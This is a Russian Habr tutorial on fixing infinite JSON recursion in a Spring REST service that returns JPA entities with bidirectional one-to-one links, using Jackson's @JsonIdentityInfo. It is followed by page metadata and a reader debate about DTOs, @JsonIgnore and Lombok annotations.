полном порядке, мы получили нормальный JSON ответ с данными о пользователе из всех трех связанных сущностей. В консоли IDE также ошибок больше нет. * * * > Скоро в OTUS состоится открытое занятие «Аспекты в Java и в Spring», на котором рассмотрим аспекты — что это и зачем нужно; как создавать аспекты в Java, используя разные технологии, и как они используются в Spring. Регистрация для всех желающих — по ссылке.
<div xmlns="http://www.w3.org/1999/xhtml"><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/b21/cfc/cc5/b21cfccc5f3bda7f06e85004497dfc2d.png" width="780" height="439" data-src="https://habrastorage.org/getpro/habr/upload_files/b21/cfc/cc5/b21cfccc5f3bda7f06e85004497dfc2d.png"/><figcaption></figcaption></figure><p>Давайте представим себе, что вы разрабатываете самый обычный REST сервис на стеке Spring, например, с использованием таких зависимостей (build.gradle):</p><pre><code>... dependencies { ... implementation 'org.springframework.boot:spring-boot-starter-data-jpa' implementation 'org.springframework.boot:spring-boot-starter-web' ... } </code></pre><p>Все идет как обычно. Вы пишете репозиторий для сущности User:</p><pre><code class="java">public interface UserRepository extends CrudRepository&lt;User, UUID> { } </code></pre><p>Затем пишете самый обычный сервис для работы с пользователем, в котором есть метод для получения пользователя по его Id:</p><pre><code class="java">public class UserService { ... public User getUser(UUID id) { return userRepository.findById(id) .orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND)); } ... } </code></pre><p>И, наконец, используете этот метод в вашем REST контроллере, чтобы получать данные пользователя по REST API извне:</p><pre><code class="java">@RestController @RequestMapping("/users") public class UserController { ... @GetMapping(path = "/{id}") public User getUser(@PathVariable UUID id) { return userService.getUser(id); } ... } </code></pre><p>Я намеренно не останавливаюсь на настройках подключения Spring к базе данных в application.properties или каким-то иным способом, а также прочих деталях настройки и создания сервиса, предполагая, что вы это уже умеете, база данных у вас есть и доступна, пользователи в ней созданы, класс сущности User также создан в приложении.</p><p>Далее наступает момент тестирования приложения. Воспользуемся для этого Postman. Прежде всего, запускаем наше приложение (предположим, мы работаем в Intellij Idea) и видим, что оно успешно стартовало:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/34a/6dc/0da/34a6dc0dac16260f9703e8f416d886b9.png" width="1811" height="126" data-src="https://habrastorage.org/getpro/habr/upload_files/34a/6dc/0da/34a6dc0dac16260f9703e8f416d886b9.png"/><figcaption></figcaption></figure><p>Теперь переходим в Postman и пытаемся выполнить GET запрос к методу REST API для получения пользователя, о котором мы наверняка знаем, что он есть в БД, по его Id:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/990/e84/49e/990e8449e5776cff413b7b7845ef13b7.png" width="1369" height="791" data-src="https://habrastorage.org/getpro/habr/upload_files/990/e84/49e/990e8449e5776cff413b7b7845ef13b7.png"/><figcaption></figcaption></figure><p>Какой ужас! Мы видим, что вообще не можем получить никакого ответа на наш запрос, даже 500 Interal error! В чем же дело? Ведь это, казалось бы, самый обычный REST сервис. Далее, как уже более-менее опытный junior разработчик, вы снова заходите в консоль Intellij Idea и видите такую ошибку:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/ed5/7f9/c7c/ed57f9c7cd4183159a8019702b908cf9.png" width="1801" height="439" data-src="https://habrastorage.org/getpro/habr/upload_files/ed5/7f9/c7c/ed57f9c7cd4183159a8019702b908cf9.png"/><figcaption></figcaption></figure><p>Итак, давайте разберемся, в чем дело. По логу мы видим, что у нас есть какие-то сущности Contact и Profile (причем тут они, ведь мы работали с сущностью User?), и Spring не способен сформировать ответ в формате JSON для нашего REST запроса, потому что попадает в бесконечную рекурсию. Почему? Вот теперь начинается самое интересное.</p><p>Давайте теперь подробно посмотрим, что такое происходит с нашим пользователем. Прежде всего, заглянем в саму сущность User:</p><pre><code class="java">... @Entity @Getter @Setter @ToString @RequiredArgsConstructor public class User { @Id @GeneratedValue private UUID id; @OneToOne(cascade = CascadeType.ALL) @JoinColumn(name = "profile_id", referencedColumnName = "id") private Profile profile; ... } </code></pre><p>Как интересно! Оказывается, данные пользователя хранятся у нас не только в сущности User, но и в привязанной к нему сущности Profile. Вы сделали такую связь один-к-одному, но забыли об этом.</p><p>Заглянем в сущность Profile:</p><pre><code class="java">... @Entity @Getter @Setter @ToString @RequiredArgsConstructor public class Profile { @Id @GeneratedValue private UUID id; private String name; private String surname; @Column(name = "second_name") private String secondName; @Column(name = "birth_date") private Instant birthDate; @Column(name = "avatar_link") private String avatarLink; private String information; @Column(name = "city_id") private Integer cityId; @OneToOne(cascade = CascadeType.ALL) @JoinColumn(name = "contact_id", referencedColumnName = "id") private Contact contact; @Column(name = "gender_id") private UUID gender_id; @OneToOne(mappedBy = "profile") User user; } ... </code></pre><p>Упс! Помимо «обратного конца» связи один-к-одному профиля с пользователем:</p><pre><code class="java"> @OneToOne(mappedBy = "profile") User user; </code></pre><p>мы видим, что и сам профиль связан по типу один-к-одному еще с одной сущностью — Contact. То есть вы выделили контакты пользователя также в отдельную сущность. Можем взглянуть и на нее:</p><pre><code class="java">@Entity @Getter @Setter @RequiredArgsConstructor @ToString public class Contact { @Id @GeneratedValue private UUID id; private String email; private String phone; @OneToOne(mappedBy = "contact") Profile profile; } </code></pre><p>Ну, кажется, здесь конец цепочки связанных сущностей — больше ни с чем контакт не связан.</p><p>Итак, у нас есть три взаимосвязанных сущности — пользователь, профиль и контакт. Не будем на этом подробно останавливаться, но очевидно, что вы и в БД наложили на них соответствующие constraint, примерно как-то так:</p><pre><code class="sql">alter table users_scheme.user add constraint user_profile_fk foreign key (profile_id) references users_scheme.profile(ID) on delete cascade on update cascade; alter table users_scheme.profile add constraint profile_contact_fk foreign key (contact_id) references users_scheme.contact(ID) on delete cascade on update cascade; </code></pre><p>Именно поэтому вы добавили реализацию этих ограничений в ваши классы сущностей, чтобы Hibernate мог нормально работать с ними. Но он не работает.</p><p>О причине, вероятно, вы уже догадались, если вспомнили, что взаимосвязь один-к-одному у нас двухсторонняя. Поэтому при попытке сериализовать экземпляр класса пользователя fasterxml jackson попадает в цикл и не может этого сделать. Вывод — нужно этот цикл каким-то образом обработать, сделав его не бесконечным, или прервать.</p><p>Для вас такая ситуация новая, поэтому сразу приведу самое интересное, на мой взгляд, решение, позволяющее получить в ответе на запрос наиболее полную информацию в формате JSON, включая информацию из связанных сущностей.</p><p>Существуют и другие способы сделать то же самое, но они работают иначе и могут не сработать вообще или не выдать такую же полную информацию. Поэтому я остановлюсь на том, чтобы показать вам только этот. Возможно, другие способы я еще рассмотрю в других статьях.</p><p>Итак, что нужно сделать. Маркируем в каждой из сущностей следующие поля вот такой аннотацией:</p><pre><code class="java">//пользователь @OneToOne(cascade = CascadeType.ALL) @JoinColumn(name = "profile_id", referencedColumnName = "id") @JsonIdentityInfo( generator = ObjectIdGenerators.PropertyGenerator.class, property = "id") private Profile profile; //профиль @OneToOne(cascade = CascadeType.ALL) @JoinColumn(name = "contact_id", referencedColumnName = "id") @JsonIdentityInfo( generator = ObjectIdGenerators.PropertyGenerator.class, property = "id") private Contact contact; //контакт @OneToOne(mappedBy = "contact") @JsonIdentityInfo( generator = ObjectIdGenerators.PropertyGenerator.class, property = "id") Profile profile; </code></pre><p>После чего перезапускаем приложение и повторяем запрос в Postman:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/810/6fb/105/8106fb105ec66262a3b24a29fc5bc11b.png" width="1331" height="811" data-src="https://habrastorage.org/getpro/habr/upload_files/810/6fb/105/8106fb105ec66262a3b24a29fc5bc11b.png"/><figcaption></figcaption></figure><p>Вот теперь все в полном порядке, мы получили нормальный JSON ответ с данными о пользователе из всех трех связанных сущностей. В консоли IDE также ошибок больше нет.</p><hr/><blockquote><p>Скоро в OTUS состоится открытое занятие <strong>«Аспекты в Java и в Spring»</strong>, на котором рассмотрим аспекты — что это и зачем нужно; как создавать аспекты в Java, используя разные технологии, и как они используются в Spring. Регистрация для всех желающих —<a href="https://otus.pw/wBXN/"> по ссылке.</a></p></blockquote><p></p></div>
Ямангулов Андрей Наильевич (AYamangulov)
null
null
<p>Туториал для начинающих разработчиков Spring, в котором рассказывается, почему в REST сервисе может не заработать самый обычный метод findById() и как это можно исправить.</p><p></p>
Туториал для начинающих разработчиков Spring, в котором рассказывается, почему в REST сервисе может не заработать самый обычный метод findById() и как это можно исправить.
article
1,659,365,363
{ "commentsCount": 17, "favoritesCount": 18, "readingCount": 5593, "score": 3, "votesCount": 19, "votesCountPlus": 11, "votesCountMinus": 8 }
[]
[ "otus", "java" ]
[ "develop" ]
[ "java", "spring", "spring data", "spring rest", "REST сервис" ]
4
tutorial
null
{ "id": [ 24588064, 24588226, 24588232, 24588254, 24588264, 24588280, 24588894, 24589672, 24592298, 24592316, 24592510, 24593158, 24594460, 24594762, 24594890, 24594954, 24595880 ], "parent_id": [ null, null, null, 24588064, 24588226, 24588232, null, 24588280, 24589672, 24588894, 24592316, 24592510, null, 24594460, 24594762, 24594762, 24594954 ], "level": [ 0, 0, 0, 1, 1, 1, 0, 2, 3, 1, 2, 3, 0, 1, 2, 2, 3 ], "time_published": [ 1659367005, 1659370818, 1659370845, 1659371163, 1659371444, 1659371576, 1659384114, 1659421281, 1659474122, 1659475043, 1659495115, 1659512858, 1659535571, 1659541979, 1659546023, 1659547868, 1659592420 ], "score": [ 5, 0, 10, 1, 1, 0, 2, 6, 0, 1, 0, 1, 1, -1, 0, 0, -1 ], "votes": [ 5, 0, 10, 1, 1, 6, 2, 6, 2, 1, 0, 1, 1, 1, 0, 0, 1 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>JPA размазывает трехуровневую архитектуру, создавая сильную связь между моделью и ее представлением в БД. Автор усиливает этот подход и переиспользует класс модели для предоставления api, из-за чего ловит неочевидные проблемы. Следующий проблемный этап возникнет, когда потребуется раздельно изменить структуру БД и апи.</p><p></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Добрый день. Спасибо за статью. Недавно боролся с аналогичной проблемой. Решил по итогу через<a class=\"mention\" href=\"/users/jsonignore.\">@JsonIgnore.</a> Вероятно мой метод более \"дендро-фекальный\", поэтому хотелось бы побольше узнать про использование <a class=\"mention\" href=\"/users/jsonidentityinfo.\">@JsonIdentityInfo.</a> Не могли бы вы более развернуто рассказать об этом?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Статья ни о чем! Проблемы бы не возникло, если бы использовались DTO. А в любом мало-мальски сложном проекте, никто не использует Entity для отдачи через Rest. Для того, чтобы показать принципы работы сериализатора не обязательно было приплетать Spring и Hibernate. Но если вы считаете, что я не прав, то жду статью \"Как получать сущности со связями без поля password в Spring Rest контроллере\", где вы расскажите, как пользоваться аннотацией <code>@JsonIgnore.</code></p><p>Хотя поздно... уже есть товарищи, которые это смогли сделать:</p><p><a href=\"https://stackoverflow.com/questions/23101260/ignore-fields-from-java-object-dynamically-while-sending-as-json-from-spring-mvc\" rel=\"noopener noreferrer nofollow\">https://stackoverflow.com/questions/23101260/ignore-fields-from-java-object-dynamically-while-sending-as-json-from-spring-mvc</a></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Совершенно верно, такие проблемы есть, и не только они. Если вы понимаете, в чем дело, будете сразу многое делать иначе. Например, даже перепроектируете БД - это решение напрашивается в том числе, как одно из. Однако, есть такое понятие, как постановка задачи или, как говорят физики и математики \"граничные условия\". Суть его в том, что в определенных обстоятельствах вам необходимо сделать именно так, в таких условиях. Вам не разрешено внешними обстоятельствами изменить начальную задачу, поэтому надо решать в рамках того, что уже есть. На унаследованных проектах такое часто случается. Надеюсь, поможет многим.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Нет, все абсолютно правильно, ничего \"дендро-фекального\" в этом нет. Нормальное решение для многих случаев. Просто все зависит от формата данных, которые вам нужно получить. С <a class=\"mention\" href=\"/users/jsonignore\">@JsonIgnore</a>свойство будет игнорироваться, вы получите меньше связанных данных. Если этого не требуется в задаче, то все нормально. <a class=\"mention\" href=\"/users/jsonidentityinfo\">@JsonIdentityInfo</a>приводит к выдаче максимального количества связанных данных.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Спасибо, статья не для тех, кто \"уже умеет\", а для тех, кто только встал на эти грабли )) Ваше предложение интересное, у меня в плане стоит нечто подобное, смотря по обстоятельствам, может быть и напишу. Давайте иметь еще ввиду, что в Интернете полно описаний решения любой проблемы - но в сильно разрозненном виде. Нагуглить можно все, если знать где и как, особенно, если вы свободно читаете по английски - тогда информации в десятки раз больше. Тем не менее, полезно джунам иметь более-менее собранное в кучку описание реального проблемного кейса, с которым люди действительно сталкиваются. Мне не раз задавали вопрос на эту тему коллеги, поэтому тема и была выбрана для статьи, как вызывающая интерес. </p><p></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Есть такая property, связанная с функционалом Open Session In View, которая по умолчанию включена и которую нужно выключать.</p><p>Данный подход, когда entity попадает в слой контроллера и возвращается в ответе (минуя конвертацию в DTO) сломается в случае, когда у данной сущности будет Lazy дочерняя коллекция. Потому что при сериализация Jackson будут выполняться доп запросы к БД для получения этих самых объектов коллекции, и будет ошибка LazyInitializationException: No Session. </p><p>Все же лучше было бы правильно данный сервис в статье написать, а не надеяться, что читатель знает все тонкости</p><p></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>статья не для тех, кто \"уже умеет\", а для тех, кто только встал на эти грабли</p></blockquote><p>Мне кажется, вам указывают не на сами грабли с подзапросом к связанным сущностям, а на то что вы от имени образовательного ресурса демонстрируете сразу пачку антипаттернов, с последствиями которых героически боретесь. В статье критически не хватает сноски о том, что IRL подобные фокусы с доступом к репо из контроллера просто неприемлемы, а в архитектуре приложения должен главенствовать принцип изоляции и слабой связности. И это не вопрос вкусовщины и разнообразия мнений в интернете, а реальная практика, к которой вы якобы готовите своих студентов.</p><p></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Хм, забавно, и где же вы увидели в приведенном коде доступ к репо из контроллера? По коду статьи конкретно ткните пальцем. Ах, нет такого места? Так я вас поздравляю, батенька, вы просто-напросто соврамши! Там есть обращение только к сервису, а вот сервис уже обращается к репо, и это нормальная архитектура, вполне себе стандартная, обычный классический MVC. То есть, сударь, это вы обычнейший MVC только что обозвали антипаттерном, половина Интернета, думаю, покатывается со смеху ))) Выделение слоя DTO - не обязательный момент в принципе. Просто иногда выделяют слой DTO между контроллером и репо, а иногда - нет. Это скорее вопрос вкусовщины и холиваров, а не реальной пользы в таких простейших случаях, когда данные не нужно трансформировать. DTO полезны только, если вы делаете интеграционный REST API сервис, вот эту задачу они решают - трансформации данных, а не тот бред, который вы написали. Подумать только - добавить три аннотации - \"героическая борьба с антипаттернами\", кто бы мог подумать )) Работы на полторы минуты, если знать где и для чего )) И в том, что проблема не возникла бы вообще, если использовать DTO вы тоже ошибаетесь, она бы осталась, как была, вы бы просто \"спрятали\" ее за DTO, на один слой глубже, где ее все равно пришлось бы решить, только другими способами. И кстати, сложнее, чем тремя аннотациями, больше букофф в коде) получить одну сущность без связей, получить отдельно связанные сущности, соединеть все данные в единый объект DTO, и потом уже отдать его... уфф. Не проще - сложнее намного. И оправдано не для таких простых случаев, как я описал, а для сложных интеграционных сервисов, где и DTO как раз вполне оправданы.</p><p></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>entity не являются частью слоя repo, поэтому вполне допускается получать их в контроллерах и не только получать, но даже передавать в методы контроллеров в качестве параметра, это обычный data маппинг, используется широко. Если у сущности lazy дочерняя коллекция - никто не помешает вам модифицировать ситуацию и поставить вместо <a class=\"mention\" href=\"/users/JsonIdentityInfo\">@JsonIdentityInfo</a> - <a class=\"mention\" href=\"/users/jsonignore\">@JsonIgnore</a>, и это уже - другая частная ситуация, не такая, как описана в статье, не нужно чрезмерно обобщать описанную методику на случаи, когда следует применять другие подходы. Отдельный слой DTO-entity можно и нужно применять, если у вас есть резонная причина скрыть состав полей entity от внешней среды, в которой будет работать данный REST API, если таких причин нет - вы получите избыточное усложнение архитектуры, не оправданное текущей частной задачей. Например, вам нужен небольшой микросервис, который будет отдавать свой REST API в изолированной локальной сети, а не большой апи для публичного доступа из Интернета. А статья, кстати, решает именно ОДНУ ЧАСТНУЮ ЗАДАЧУ. Почему-то все, кому не лень, пытаются доказать всему миру и автору статьи, что он обязан был привести единственное универсальное решение, пригодное на все случаи применения REST API? Может быть, сразу написать единое уравнение суперполя Вселенной, объясняющее все? )))</p><p></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Но ведь статью встают новички, которые будут переносить это решение в реальный код, не понимая тонкостей, которые были опущены автором. </p><p></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Вот поэтому я и написал: </p><p>\"Существуют и другие способы сделать то же самое, но они работают иначе и могут не сработать вообще или не выдать такую же полную информацию. Поэтому я остановлюсь на том, чтобы показать вам только этот. Возможно, другие способы я еще рассмотрю в других статьях.\" </p><p>Чтобы новички были настороже, прямое и явное предупреждение, что \"мир велик и не ограничивается одним домом и одной калиткой\". И действительно, при удобном случае опишу и иные ситуации. Слона надо есть по частям - он слишком большой. Статьи для того и делаются статьями, чтобы не писать целую книгу сразу, хотел бы описать все случаи - написал бы книгу. Люди так и делают, когда хотят хоть сколько-то полно описать какой-то стек или отдельную технологию. А требовать от маленькой статьи, рамки которой ограничены определенным размером, той же полноты, что от книги или подробного туториала по всему стеку - это несколько избыточно. Мой главный критерий всегда - помочь людям, если кто-то пишет \"спасибо, помогло\", мне уже приятно - не зря работал. Я понимаю, что в Хабре очень много персонажей, которые ставят своей целью, например, повышение рейтинга за счет холиваров, или самореализацию глубокой внутренней потребности безнаказанно нагадить авторам статей, наслаждаясь воображаемой буйной внутренней реакцией у них (\"какой я плохой, ха-ха-ха, хочется быть дьяволом!!! пусть помучается автор от моего комментария, как я его подцепил, э?!!!\") Но мне это безразлично, я просто помогаю людям там, где могу, делаю мое дело, и все. Мне наплевать, если кто-то пришел сюда, чтобы выпендриться и самоутвердиться за счет других. Уверяю всех, у кого эта психопатология действительно проявляется, что в моей душе даже малейшего раздражения на их выходки не возникает, не первый день на свете живу, повидал таких персонажей \"будь здоров\", они мне безразличны (не буду называть конкретных людей, зачем? - те, у кого это есть, сами прекрасно осознают, в чем их проблема). ИМХО - философия кота Леопольда это лучшая философия в мире. Ну уж если очень достанут, могу выпить таблетку \"озверина\", как Леопольд в мультфильме. Но это действует недолго )))</p><p></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Подскажите пожалуйста, а вот без этого:</p><blockquote><p><code>@Getter </code></p><p><code>@Setter </code></p><p><code>@RequiredArgsConstructor </code></p><p><code>@ToString</code></p></blockquote><p>не заработает?</p><p>Если даже оставить за скобками претензии относительно использования модели в контроллере для представления данных ваша статья все еще плоха для новичков там, что содержит абсолютно не обязательные для воспроизведения вещи, которые зачем-то там присутствуют, и никак не комментируются.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Ну батенька, это уж совсем не к чему придраться? Это стандартные аннотации lombok, можете использовать вместо них кучу бойлерплейта, конкретно к теме статьи прямого отношения не имеют, но нужны, конечно же, в самом приложении для его нормальной работы, просто лень было их вырезать при копипасте из проекта. Многие, когда пишут куски кода в статьях, так вообще приводят полные тексты классов со всеми импортами, длиннющую такую простыню, и ничего )) </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Вопрос про краткие пояснения) вот используется аннотация ToString из Lombok. На данном примере, действительно, ее использование в таком виде ничего не предвещает, но все стоит написать, что связи из ToString стоит исключать, чтобы не получить неожиданные side эффекты</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Статья же для тех, «кто только встал на эти грабли» (то есть новички)</p><p></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Ну все-таки не для таких \"новичков\", которые совсем уж с полного нуля начинают) те, кто дополз хотя бы до проектов на Spring - это уже junior. У нас так не принято в градациях, но, например, за бугром тех, кого вы назвали \"новичками\", называют даже не junior, а starter, и отправляют учить основы языка и стека и читать документацию. Те, кто наступил на эти грабли у нас уже, скажем так \"продвинутые новички\", и о lombok имеют определенное представление, почитают сами или найдут еще одну очень короткую статью, где описаны и эти грабли тоже - коротко, только по существу и без лишней \"воды\" и \"спотыканий\" на попутные замечания.</p><p><a class=\"mention\" href=\"/users/tostring\">@ToString</a>действительно, имеет смысл подправить в том случае, если вы 1) явно задали какие-то поля, как lazy loaded (в этом \"кусочке слона\" их нет) 2) предполагаете пакетную обработку больших данных (опять же, для личных данных пользователей такое не предвидится, с ними всегда работают индивидуально). Поэтому в этой статье не считаю это обязательным - опять получится \"растекашеся мыслию по древу\" (то есть будем отвлекаться на попутные детали, не имеющие прямого отношения к теме статьи) Опять же, это вполне подходит для отдельной статьи для джунов. Ну если очень кратко, то в таких случаях самое простое на lazy полях можно добавить дополнительно аннотацию <a class=\"mention\" href=\"/users/tostring.exclude\">@ToString.Exclude</a>. Но и это вызовет side эффект - если вам все же в результатах операции toString к этой сущности необходимо, чтобы была какая-то информация о lazy поле, добавьте ее вручную каким-то простым и безопасным способом, переопределив в классе сущности метод toString ручками, без аннотаций вообще.</p><p>Видите, сколько деталей пришлось описать даже в \"кратком пояснении\"? А теперь представьте себе, что вы \"запинаетесь\" в каждом таком интересном месте. И вот новичок читает эту статью, тоже на каждом таком \"пояснении\" запинается и думает \"упс, вероятно, это важно для этого кейса, без этого работать вообще не будет, раз автор написал об этом тоже\" и начинает реплицировать эти детали у себя в проекте, утопая в них по самые уши )) Зачем? Это нужно выносить в отдельную тему в отдельной статье - или писать книгу, в крайнем случае, большой туториал с продолжениями на несколько страниц. А краткие статьи тем и ценны, что человек наступает на грабли, гуглит, находит короткий рецепт, делает, получает результат. Потом, вполне возможно, наступает на следующие грабли, опять находит короткую статью, снова решает проблему, и так далее. Очень рациональный подход, большинство вопросов-ответов на stackoverflow, например, приведены именно в таком ключе. Очень разумно и по делу, без \"воды\".</p><p></p></div>" ], "message_markdown": [ "JPA размазывает трехуровневую архитектуру, создавая сильную связь между моделью и ее представлением в БД. Автор усиливает этот подход и переиспользует класс модели для предоставления api, из-за чего ловит неочевидные проблемы. Следующий проблемный этап возникнет, когда потребуется раздельно изменить структуру БД и апи.", "Добрый день. Спасибо за статью. Недавно боролся с аналогичной проблемой. Решил по итогу через@JsonIgnore. Вероятно мой метод более \"дендро-фекальный\", поэтому хотелось бы побольше узнать про использование @JsonIdentityInfo. Не могли бы вы более развернуто рассказать об этом?", "Статья ни о чем! Проблемы бы не возникло, если бы использовались DTO. А в любом мало-мальски сложном проекте, никто не использует Entity для отдачи через Rest. Для того, чтобы показать принципы работы сериализатора не обязательно было приплетать Spring и Hibernate. Но если вы считаете, что я не прав, то жду статью \"Как получать сущности со связями без поля password в Spring Rest контроллере\", где вы расскажите, как пользоваться аннотацией `@JsonIgnore.`\nХотя поздно... уже есть товарищи, которые это смогли сделать:\nhttps://stackoverflow.com/questions/23101260/ignore-fields-from-java-object-dynamically-while-sending-as-json-from-spring-mvc", "Совершенно верно, такие проблемы есть, и не только они. Если вы понимаете, в чем дело, будете сразу многое делать иначе. Например, даже перепроектируете БД - это решение напрашивается в том числе, как одно из. Однако, есть такое понятие, как постановка задачи или, как говорят физики и математики \"граничные условия\". Суть его в том, что в определенных обстоятельствах вам необходимо сделать именно так, в таких условиях. Вам не разрешено внешними обстоятельствами изменить начальную задачу, поэтому надо решать в рамках того, что уже есть. На унаследованных проектах такое часто случается. Надеюсь, поможет многим.", "Нет, все абсолютно правильно, ничего \"дендро-фекального\" в этом нет. Нормальное решение для многих случаев. Просто все зависит от формата данных, которые вам нужно получить. С @JsonIgnoreсвойство будет игнорироваться, вы получите меньше связанных данных. Если этого не требуется в задаче, то все нормально. @JsonIdentityInfoприводит к выдаче максимального количества связанных данных.", "Спасибо, статья не для тех, кто \"уже умеет\", а для тех, кто только встал на эти грабли )) Ваше предложение интересное, у меня в плане стоит нечто подобное, смотря по обстоятельствам, может быть и напишу. Давайте иметь еще ввиду, что в Интернете полно описаний решения любой проблемы - но в сильно разрозненном виде. Нагуглить можно все, если знать где и как, особенно, если вы свободно читаете по английски - тогда информации в десятки раз больше. Тем не менее, полезно джунам иметь более-менее собранное в кучку описание реального проблемного кейса, с которым люди действительно сталкиваются. Мне не раз задавали вопрос на эту тему коллеги, поэтому тема и была выбрана для статьи, как вызывающая интерес.", "Есть такая property, связанная с функционалом Open Session In View, которая по умолчанию включена и которую нужно выключать.\nДанный подход, когда entity попадает в слой контроллера и возвращается в ответе (минуя конвертацию в DTO) сломается в случае, когда у данной сущности будет Lazy дочерняя коллекция. Потому что при сериализация Jackson будут выполняться доп запросы к БД для получения этих самых объектов коллекции, и будет ошибка LazyInitializationException: No Session.\nВсе же лучше было бы правильно данный сервис в статье написать, а не надеяться, что читатель знает все тонкости", "> статья не для тех, кто \"уже умеет\", а для тех, кто только встал на эти грабли\nМне кажется, вам указывают не на сами грабли с подзапросом к связанным сущностям, а на то что вы от имени образовательного ресурса демонстрируете сразу пачку антипаттернов, с последствиями которых героически боретесь. В статье критически не хватает сноски о том, что IRL подобные фокусы с доступом к репо из контроллера просто неприемлемы, а в архитектуре приложения должен главенствовать принцип изоляции и слабой связности. И это не вопрос вкусовщины и разнообразия мнений в интернете, а реальная практика, к которой вы якобы готовите своих студентов.", "Хм, забавно, и где же вы увидели в приведенном коде доступ к репо из контроллера? По коду статьи конкретно ткните пальцем. Ах, нет такого места? Так я вас поздравляю, батенька, вы просто-напросто соврамши! Там есть обращение только к сервису, а вот сервис уже обращается к репо, и это нормальная архитектура, вполне себе стандартная, обычный классический MVC. То есть, сударь, это вы обычнейший MVC только что обозвали антипаттерном, половина Интернета, думаю, покатывается со смеху ))) Выделение слоя DTO - не обязательный момент в принципе. Просто иногда выделяют слой DTO между контроллером и репо, а иногда - нет. Это скорее вопрос вкусовщины и холиваров, а не реальной пользы в таких простейших случаях, когда данные не нужно трансформировать. DTO полезны только, если вы делаете интеграционный REST API сервис, вот эту задачу они решают - трансформации данных, а не тот бред, который вы написали. Подумать только - добавить три аннотации - \"героическая борьба с антипаттернами\", кто бы мог подумать )) Работы на полторы минуты, если знать где и для чего )) И в том, что проблема не возникла бы вообще, если использовать DTO вы тоже ошибаетесь, она бы осталась, как была, вы бы просто \"спрятали\" ее за DTO, на один слой глубже, где ее все равно пришлось бы решить, только другими способами. И кстати, сложнее, чем тремя аннотациями, больше букофф в коде) получить одну сущность без связей, получить отдельно связанные сущности, соединеть все данные в единый объект DTO, и потом уже отдать его... уфф. Не проще - сложнее намного. И оправдано не для таких простых случаев, как я описал, а для сложных интеграционных сервисов, где и DTO как раз вполне оправданы.", "entity не являются частью слоя repo, поэтому вполне допускается получать их в контроллерах и не только получать, но даже передавать в методы контроллеров в качестве параметра, это обычный data маппинг, используется широко. Если у сущности lazy дочерняя коллекция - никто не помешает вам модифицировать ситуацию и поставить вместо @JsonIdentityInfo \\- @JsonIgnore, и это уже - другая частная ситуация, не такая, как описана в статье, не нужно чрезмерно обобщать описанную методику на случаи, когда следует применять другие подходы. Отдельный слой DTO-entity можно и нужно применять, если у вас есть резонная причина скрыть состав полей entity от внешней среды, в которой будет работать данный REST API, если таких причин нет - вы получите избыточное усложнение архитектуры, не оправданное текущей частной задачей. Например, вам нужен небольшой микросервис, который будет отдавать свой REST API в изолированной локальной сети, а не большой апи для публичного доступа из Интернета. А статья, кстати, решает именно ОДНУ ЧАСТНУЮ ЗАДАЧУ. Почему-то все, кому не лень, пытаются доказать всему миру и автору статьи, что он обязан был привести единственное универсальное решение, пригодное на все случаи применения REST API? Может быть, сразу написать единое уравнение суперполя Вселенной, объясняющее все? )))", "Но ведь статью встают новички, которые будут переносить это решение в реальный код, не понимая тонкостей, которые были опущены автором.", "Вот поэтому я и написал:\n\"Существуют и другие способы сделать то же самое, но они работают иначе и могут не сработать вообще или не выдать такую же полную информацию. Поэтому я остановлюсь на том, чтобы показать вам только этот. Возможно, другие способы я еще рассмотрю в других статьях.\"\nЧтобы новички были настороже, прямое и явное предупреждение, что \"мир велик и не ограничивается одним домом и одной калиткой\". И действительно, при удобном случае опишу и иные ситуации. Слона надо есть по частям - он слишком большой. Статьи для того и делаются статьями, чтобы не писать целую книгу сразу, хотел бы описать все случаи - написал бы книгу. Люди так и делают, когда хотят хоть сколько-то полно описать какой-то стек или отдельную технологию. А требовать от маленькой статьи, рамки которой ограничены определенным размером, той же полноты, что от книги или подробного туториала по всему стеку - это несколько избыточно. Мой главный критерий всегда - помочь людям, если кто-то пишет \"спасибо, помогло\", мне уже приятно - не зря работал. Я понимаю, что в Хабре очень много персонажей, которые ставят своей целью, например, повышение рейтинга за счет холиваров, или самореализацию глубокой внутренней потребности безнаказанно нагадить авторам статей, наслаждаясь воображаемой буйной внутренней реакцией у них (\"какой я плохой, ха-ха-ха, хочется быть дьяволом!!! пусть помучается автор от моего комментария, как я его подцепил, э?!!!\") Но мне это безразлично, я просто помогаю людям там, где могу, делаю мое дело, и все. Мне наплевать, если кто-то пришел сюда, чтобы выпендриться и самоутвердиться за счет других. Уверяю всех, у кого эта психопатология действительно проявляется, что в моей душе даже малейшего раздражения на их выходки не возникает, не первый день на свете живу, повидал таких персонажей \"будь здоров\", они мне безразличны (не буду называть конкретных людей, зачем? - те, у кого это есть, сами прекрасно осознают, в чем их проблема). ИМХО - философия кота Леопольда это лучшая философия в мире. Ну уж если очень достанут, могу выпить таблетку \"озверина\", как Леопольд в мультфильме. Но это действует недолго )))", "Подскажите пожалуйста, а вот без этого:\n> `@Getter `\n>\n> `@Setter `\n>\n> 